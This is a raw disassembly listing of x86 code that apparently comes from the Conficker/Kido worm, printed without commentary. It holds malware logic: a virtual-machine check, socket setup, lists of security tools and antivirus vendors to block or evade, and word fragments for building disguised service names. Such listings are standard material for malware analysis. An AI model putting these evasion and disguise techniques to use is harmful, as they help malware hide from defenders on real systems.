					; DATA XREF: .text:off_9B8DD4o
		mov	eax, [esi+48h]
		call	sub_9AC448
		mov	[esi+48h], ebx
		mov	dword_9BBD30, edi
		push	dword ptr [ebp-1Ch]
		pop	ecx
		mov	dword_9BBD2C, ecx
		push	4
		mov	ecx, 4
		push	off_9B8DBE
		jmp	off_9BAF0E
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B606C:				; CODE XREF: sub_9B1A08-263Ej
		lea	edx, ds:0Fh[edi*4]
		jmp	loc_9B445E
; END OF FUNCTION CHUNK	FOR sub_9B1A08

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B6078	proc near		; CODE XREF: sub_9AEC20+57p
					; sub_9AFF64+5Cp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009AAFC8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AB94D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B09B4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B5A5C SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B9A25
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	edx, [ebp+arg_0]
		test	dl, 1
		jz	loc_9B5A5C
		jmp	off_9B900C
sub_9B6078	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B60C0:				; CODE XREF: sub_9B0930+15E4j
		jz	loc_9B23EF
		jmp	off_9B969F
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B60CC:				; CODE XREF: sub_9B63D8-3719j
		inc	eax
		jmp	loc_9AC8EF
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1334


loc_9B60D4:				; CODE XREF: sub_9B1334+8j
					; DATA XREF: .text:off_9B979Fo
		mov	dword ptr [eax], 10h


loc_9B60DA:				; CODE XREF: sub_9B1334+2j
		mov	ecx, esi
		xor	eax, eax
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	[esi+4], edx
		push	[esp+arg_0]
		pop	edx
		mov	word ptr [esi],	2
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax+10h]
		push	edx
		call	dword ptr [ecx+8]
		mov	[esi+2], ax
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1334
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B610C:				; CODE XREF: sub_9B1D80-441Fj
		or	ebx, ebx
		jnz	loc_9AE945
		jmp	loc_9B56D0
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B611C	proc near		; CODE XREF: sub_9B6078-613j
					; DATA XREF: .text:off_9B96E0o

; FUNCTION CHUNK AT 009AB944 SIZE 00000009 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9B611F:				; CODE XREF: sub_9B611C+9j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_9B611F
		jmp	loc_9AB944
sub_9B611C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B612C:				; CODE XREF: sub_9B63D8-43D7j
		lea	eax, [eax+eax*4]
		shl	eax, 1
		movsx	ecx, cl
		mov	[ebp-2130h], eax
		lea	eax, [ecx+eax-30h]
		mov	[ebp-2130h], eax
		mov	ecx, [ebp-2124h]
		add	ecx, eax
		cmp	ecx, 200000h
		jg	loc_9AF944
		jmp	loc_9ABA0C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B6160:				; CODE XREF: sub_9B2E04-9E8j
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	11h
		push	2
		push	2
		call	dword ptr [eax+20h]
		mov	edi, eax
		mov	[ebp+var_4040],	edi
		and	edi, edi
		jz	loc_9B107C
		jmp	off_9B99F6
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B6188:				; CODE XREF: sub_9AC6DC+3784j
					; sub_9AC6DC+5DF6j
		push	0
		push	5Fh
		push	edi
		push	esi
		call	__allmul
		push	0
		push	64h
		push	edx
		push	eax
		call	__aulldiv
		cmp	ebx, edx
		jb	loc_9B0051
		jmp	off_9B9461
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B61AC:				; CODE XREF: sub_9AC32C-E48j
		push	edi
		call	dword ptr [edx+5Ch]
		cmp	eax, edi
		jl	loc_9AC5F8
		jmp	loc_9B5E20
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B61C0:				; CODE XREF: sub_9B1F68+3923j
					; DATA XREF: .text:off_9B87F6o
		push	0
		push	esi
		call	sub_9B0E7C
		mov	eax, dword_9BCB74
		mov	ecx, [eax+10h]
		push	esi
		call	dword ptr [ecx+38h]
		mov	dword ptr [ebx], 0
		mov	edi, [ebp-34h]
		inc	edi
		jmp	loc_9B01E0
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B61E4:				; CODE XREF: sub_9B1A08+2A71j
		call	sub_9B2010
		or	eax, eax
		jz	loc_9AF398
		jmp	loc_9AD1C4
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B61FC:				; CODE XREF: sub_9B03E8+4Fj
		sldt	ax
		or	ax, ax
		setnz	al
		movzx	eax, al
		mov	edi, eax


loc_9B620A:				; CODE XREF: sub_9B03E8-A2Ej
		mov	[ebp-158h], edi
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		call	dword ptr [eax+30h]
		mov	esi, eax
		mov	[ebp-15Ch], esi


loc_9B6224:				; CODE XREF: sub_9B03E8-F0Cj
					; sub_9B03E8+26F1j
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		call	dword ptr [edx+30h]
		sub	eax, esi
		cmp	eax, 3E8h
		jnb	loc_9B2B4C
		jmp	loc_9AF4C4
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9B6244:				; CODE XREF: sub_9B3A74-4CA9j
		mov	dword ptr [ebp-128h], 1


loc_9B624E:				; CODE XREF: sub_9B3A74-7266j
					; sub_9B3A74-4CAFj ...
		mov	eax, [ebp-124h]
		and	eax, eax
		jz	loc_9B03D6
		jmp	loc_9B03C8
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B6264	proc near		; CODE XREF: sub_9B4950:loc_9AC0B0p

; FUNCTION CHUNK AT 009AE18F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B5C98 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 009B5F6C SIZE 00000038 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9779
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 998h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		mov	[ebp-9A0h], edi
		mov	[ebp-4], edi
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax+10h]
		push	edi
		push	edi
		push	edi
		push	edi
		push	2
		push	2
		call	dword ptr [ecx+60h]
		mov	esi, eax
		mov	[ebp-9A8h], esi
		cmp	esi, 0FFFFFFFFh
		jz	loc_9AE18F
		jmp	off_9B9F07
sub_9B6264	endp

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-12Ch]
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9B62E4:				; CODE XREF: sub_9B3408-5433j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		push	esi
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B6318:				; CODE XREF: sub_9ADAC4-2686j
					; DATA XREF: .text:off_9BA637o
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	7FFFFFFFh
		push	ebx
		call	dword ptr [eax+10h]
		mov	[ebp-58h], eax
		or	eax, eax
		jnz	loc_9ADCDC
		jmp	off_9B92D1
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B633C:				; CODE XREF: sub_9B0930-36D0j
		push	dword ptr [eax+18h]
		pop	eax
		cmp	dword ptr [eax], 0
		jz	loc_9B23EF
		jmp	loc_9B2790
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B6370


loc_9B6350:				; CODE XREF: sub_9B6370+14j
		push	esi
		push	[esp+8+arg_0]
		pop	esi
		push	edi


loc_9B6357:				; CODE XREF: sub_9B6370-4B50j
		mov	eax, edx
		shld	edx, ecx, 1
		shr	eax, 1Fh
		shl	ecx, 1
		or	eax, ecx
		xor	edi, edi
		push	eax
		pop	ecx
		movzx	eax, cl
		jmp	loc_9B180C
; END OF FUNCTION CHUNK	FOR sub_9B6370

; =============== S U B	R O U T	I N E =======================================



sub_9B6370	proc near		; CODE XREF: sub_9ADCEC-245Bp
					; sub_9B3FF8-82FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009B05F8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B180C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B6350 SIZE 00000020 BYTES

		mov	ecx, [esp+arg_4]
		push	[esp+arg_8]
		pop	edx
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_9B05FA
		jmp	short loc_9B6350
sub_9B6370	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B6388	proc near		; CODE XREF: sub_9B2118-1B7Ap
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAA6D
		call	dword ptr [ecx+68h]
		xor	edx, edx
		mov	dword_9BBD10, edx
		mov	dword_9BBD14, edx
		mov	dword_9BBD18, edx
		mov	dword_9BBD1C, edx
		mov	dword_9BBD20, edx
		mov	dword_9BBD24, edx
		mov	dword_9BBD20, 0Ah
		mov	dword_9BBD24, 0FFFFFFFFh
		retn
sub_9B6388	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B63D8	proc near		; CODE XREF: sub_9ACEE8+2665p

; FUNCTION CHUNK AT 009AB0C8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AB2C8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AB558 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AB5A4 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009AB5D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 009AB610 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009AB6FC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009ABA0C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ABE10 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AC5C0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AC8EC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009ACA04 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009ACB60 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009ACBA0 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009ACFE0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AD014 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009AD634 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AD6E8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ADC78 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009ADE94 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009ADF3C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AE2F0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AE7B0 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009AE818 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009AED08 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AED1C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AF248 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AF300 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AF368 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009AF6C0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AF90B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009AF944 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AF9E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AFAB4 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009AFEF0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B0304 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B036C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B1218 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B1278 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B13A8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B1850 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009B1D1C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B1E18 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B1FF8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B2234 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B2A28 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B2CB4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B2DEC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B3788 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B4088 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B40F0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B41A4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B4668 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009B4860 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B4A80 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B4D94 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B4EA8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B4EC8 SIZE 000000F4 BYTES
; FUNCTION CHUNK AT 009B54C0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B55C4 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B5844 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B593C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5A74 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B5B20 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B5BA8 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B5E4C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B60CC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B612C SIZE 00000031 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAB3E
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		push	2170h
		pop	eax
		sub	esp, 8
		call	__alloca_probe
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword ptr [ebp+8]
		pop	edi
		mov	eax, [ebp+0Ch]
		mov	[ebp-2160h], eax
		mov	eax, [ebp+10h]
		mov	[ebp-2158h], eax
		mov	[ebp-2154h], ecx
		mov	[ebp-2140h], edx
		push	dword ptr [ebp+14h]
		pop	esi
		sub	ebx, ebx
		mov	[ebp-2144h], esi
		mov	[ebp-2134h], ebx
		mov	dword ptr [ebp-2138h], 0FFFFFFFFh
		mov	[ebp-4], ebx
		mov	[esi], ebx
		mov	[edx], ebx
		mov	[ecx], ebx
		mov	[eax], ebx
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		push	edi
		call	dword ptr [edx+1Ch]
		mov	esi, eax
		mov	[ebp-2170h], esi
		cmp	esi, ebx
		jz	loc_9AF944
		jmp	off_9BAE41
sub_9B63D8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B6488:				; CODE XREF: sub_9B3864-4BEj
		mov	al, [ebp+var_203D]
		test	al, al
		jnz	loc_9AF480
		jmp	off_9B98A3
; END OF FUNCTION CHUNK	FOR sub_9B3864

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B649C	proc near		; CODE XREF: sub_9B3FF8-82F5p
					; sub_9B2830+3Ap

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AC234 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AC3B0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 009ACCD8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AE298 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AE5F0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AE9DC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AE9F4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B0D18 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B0ED0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B183C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B2984 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3140 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B3194 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B3298 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B4144 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B5124 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B97BD
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_18], esp
		push	edx
		pop	esi
		xor	edx, edx
		mov	[ebp+var_1C], edx
		cmp	edi, 0Ah
		mov	[ebp+var_4], edx
		jb	loc_9ACCD8
		jmp	off_9B8A06
sub_9B649C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B64E4:				; CODE XREF: sub_9B1F68-6874j
		mov	ecx, esi
		call	sub_9B31A8
		mov	dword ptr [edi+ebp-24Ch], 0
		push	dword ptr [ebp-34h]
		pop	edi
		inc	edi
		jmp	loc_9B01E0
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_9B6504	proc near		; CODE XREF: sub_9B4950+2Fp

; FUNCTION CHUNK AT 009AD4D0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B1C93 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B1FE0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B5F40 SIZE 00000013 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B946A
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		call	sub_9A4F90
		or	eax, eax
		jz	loc_9B1FE5
		jmp	off_9B8CB9
sub_9B6504	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB040


loc_9B6548:				; CODE XREF: sub_9AB040+1Dj
					; sub_9AB040+15A5j ...
		add	eax, 28h
		cmp	eax, 500h
		jb	loc_9AB055
		jmp	loc_9ADFA8
; END OF FUNCTION CHUNK	FOR sub_9AB040
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B655C:				; CODE XREF: sub_9B1D80+35E2j
					; DATA XREF: .text:off_9B87DCo
		push	dword ptr [ebp-2020h]
		pop	eax
		and	eax, eax
		jz	loc_9AFD2F
		jmp	loc_9B3070
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		dd 0
; [00000006 BYTES: COLLAPSED FUNCTION ObtainUserAgentString. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv.	PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(0CCh)
		dd 675h	dup(0)
dword_9B8000	dd 0			; DATA XREF: _CRT_INIT(x,x,x)+4Fo
					; .text:009C537Co
		dd offset loc_9AA80E
dword_9B8008	dd 6 dup(0)		; DATA XREF: _CRT_INIT(x,x,x)+4Ao
; char *Source
Source		dd offset dword_9A13A4	; DATA XREF: sub_9A387C+56r
		dd offset dword_9A1364+2Ch
		dd offset dword_9A1364+14h
		dd offset dword_9A1364+8
; char *off_9B8030
off_9B8030	dd offset aAutoruns	; DATA XREF: sub_9A4074+80r
					; "autoruns"
		dd offset loc_9A2693+5
		dd offset loc_9A2690
		dd offset loc_9A2687+1
		dd offset loc_9A267F+1
		dd offset aGmer		; "gmer"
		dd offset aHotfix	; "hotfix"
		dd offset byte_9A2668
		dd offset aKb958	; "kb958"
		dd offset aKido		; "kido"
		dd offset aKlwk		; "klwk"
		dd offset aMbsa_	; "mbsa."
		dd offset aMrt_		; "mrt."
		dd offset aMrtstub	; "mrtstub"
		dd offset aMs0806	; "ms08-06"
		dd offset aProcexp	; "procexp"
		dd offset aProcmon	; "procmon"
		dd offset aRegmon	; "regmon"
		dd offset aScct_	; "scct_"
		dd offset loc_9A2604
		dd offset aTcpview	; "tcpview"
		dd offset aUnlocker	; "unlocker"
		dd offset aWireshark	; "wireshark"
		align 10h
off_9B8090	dd offset aAgnitum	; DATA XREF: sub_9A3FB6:loc_9A3FD3r
					; "agnitum"
		dd offset aAhnlab	; "ahnlab"
		dd offset aAnti		; "anti-"
		dd offset aAntivir	; "antivir"
		dd offset aArcabit	; "arcabit"
		dd offset aAvast	; "avast"
		dd offset aAvgate	; "avgate"
		dd offset aAvira	; "avira"
		dd offset loc_9A2597+1
		dd offset byte_9A258C
		dd offset aCcollomb	; "ccollomb"
		dd offset aCentralcommand ; "centralcommand"
		dd offset aClamav	; "clamav"
		dd offset loc_9A2560
		dd offset dword_9A254C
		dd offset dword_9A2540
		dd offset loc_9A2534
		dd offset aCyberTa	; "cyber-ta"
		dd offset aDefender	; "defender"
		dd offset loc_9A2687+1
		dd offset loc_9A2514
		dd offset aDslreports	; "dslreports"
		dd offset aEmsisoft	; "emsisoft"
		dd offset aEsafe	; "esafe"
		dd offset loc_9A24EB+1
		dd offset loc_9A24E4
		dd offset loc_9A24DC
		dd offset dword_9A24D4
		dd offset loc_9A24C7+1
		dd offset loc_9A24B6+6
		dd offset loc_9A24B3+1
		dd offset loc_9A24AC
		dd offset aGdata	; "gdata"
		dd offset aGrisoft	; "grisoft"
		dd offset aHackerwatch	; "hackerwatch"
		dd offset loc_9A2480+4
		dd offset loc_9A247B+1
		dd offset loc_9A2470+4
		dd offset loc_9A246A+2
		dd offset byte_9A2460
		dd offset aKaspersky	; "kaspersky"
		dd offset aKido		; "kido"
		dd offset aMalware	; "malware"
		dd offset aMcafee	; "mcafee"
		dd offset byte_9A2438
		dd offset aMirage	; "mirage"
		dd offset dword_9A2414+10h
		dd offset dword_9A2414+8
		dd offset dword_9A2414
		dd offset dword_9A2400
		dd offset aNod32	; "nod32"
		dd offset byte_9A23F0
		dd offset aNorton	; "norton"
		dd offset aOnecare	; "onecare"
		dd offset loc_9A23D8
		dd offset byte_9A23D0
		dd offset aPrevx	; "prevx"
		dd offset aPtsecurity	; "ptsecurity"
		dd offset loc_9A23AF+1
		dd offset loc_9A23A8
		dd offset loc_9A239D+3
		dd offset loc_9A2394+4
		dd offset loc_9A238A+2
		dd offset loc_9A237C
		dd offset loc_9A2370
		dd offset loc_9A2366+2
		dd offset loc_9A235B+1
		dd offset loc_9A234E+6
		dd offset loc_9A234C
		dd offset loc_9A233C+4
		dd offset loc_9A2337+1
		dd offset loc_9A2330
		dd offset loc_9A231F+1
		dd offset dword_9A2310+4
		dd offset loc_9A230B+1
		dd offset loc_9A2303+1
		dd offset loc_9A22FC
		dd offset loc_9A22EC
		dd offset dword_9A22D4+8
off_9B81CC	dd offset dword_9A22D4	; DATA XREF: sub_9A3FB6:loc_9A4001r
		dd offset loc_9A22CA+2
		dd offset loc_9A22C4
		dd offset loc_9A22BF+1
		dd offset loc_9A22B8
		dd offset loc_9A22AD+3
		dd offset byte_9A22A8
		dd offset dword_9A22A0
		dd offset loc_9A2298
		dd offset loc_9A228F+1
		dd offset loc_9A2287+1
		dd offset byte_9A2280
		dd offset dword_9A2268+10h
		dd offset dword_9A2268+8
		align 8
; wchar_t *off_9B8208
off_9B8208	dd offset aApp		; DATA XREF: sub_9A7641+2C5r
					; "App"
		dd offset aAudio	; "Audio"
		dd offset aDm		; "DM"
		dd offset aEr		; "ER"
		dd offset aEvent	; "Event"
		dd offset aHelp		; "help"
		dd offset aIas		; "Ias"
		dd offset aIr		; "Ir"
		dd offset aLanman	; "Lanman"
		dd offset aNet		; "Net"
		dd offset aNtms		; "Ntms"
		dd offset aRas		; "Ras"
		dd offset aRemote	; "Remote"
		dd offset aSec		; "Sec"
		dd offset aSr		; "SR"
		dd offset aTapi		; "Tapi"
		dd offset aTrk		; "Trk"
		dd offset aW32		; "W32"
		dd offset aWin		; "win"
		dd offset aWmdm		; "Wmdm"
		dd offset aWmi		; "Wmi"
		dd offset aWsc		; "wsc"
		dd offset aWuau		; "wuau"
		dd offset aXml		; "xml"
; wchar_t *off_9B8268
off_9B8268	dd offset aAccess	; DATA XREF: sub_9A7641+2E1r
					; "access"
		dd offset aAgent	; "agent"
		dd offset aAuto		; "auto"
		dd offset aLogon_0	; "logon"
		dd offset aMan		; "man"
		dd offset aMgmt		; "mgmt"
		dd offset aMon		; "mon"
		dd offset aProv		; "prov"
		dd offset aServ_0	; "serv"
		dd offset aServer	; "Server"
		dd offset aService	; "Service"
		dd offset aSrv_0	; "Srv"
		dd offset aSrv		; "srv"
		dd offset aSvc_0	; "Svc"
		dd offset aSvc		; "svc"
		dd offset aSystem	; "System"
		dd offset aTime_0	; "Time"
		align 10h
; wchar_t *off_9B82B0
off_9B82B0	dd offset aBoot		; DATA XREF: sub_9A7E0F+DFr
					; sub_9A7E0F+107r
					; "Boot"
		dd offset aCenter	; "Center"
		dd offset aConfig	; "Config"
		dd offset aDriver	; "Driver"
		dd offset aHelper	; "Helper"
		dd offset aImage	; "Image"
		dd offset aInstaller	; "Installer"
		dd offset aManager	; "Manager"
		dd offset aMicrosoft	; "Microsoft"
		dd offset aMonitor	; "Monitor"
		dd offset aNetwork	; "Network"
		dd offset aSecurity	; "Security"
		dd offset aServer	; "Server"
		dd offset aShell	; "Shell"
		dd offset aSupport	; "Support"
		dd offset aSystem	; "System"
		dd offset aTask		; "Task"
		dd offset aTime_0	; "Time"
		dd offset aUniversal	; "Universal"
		dd offset aUpdate	; "Update"
		dd offset aWindows	; "Windows"
		dd offset aHardware	; "Hardware"
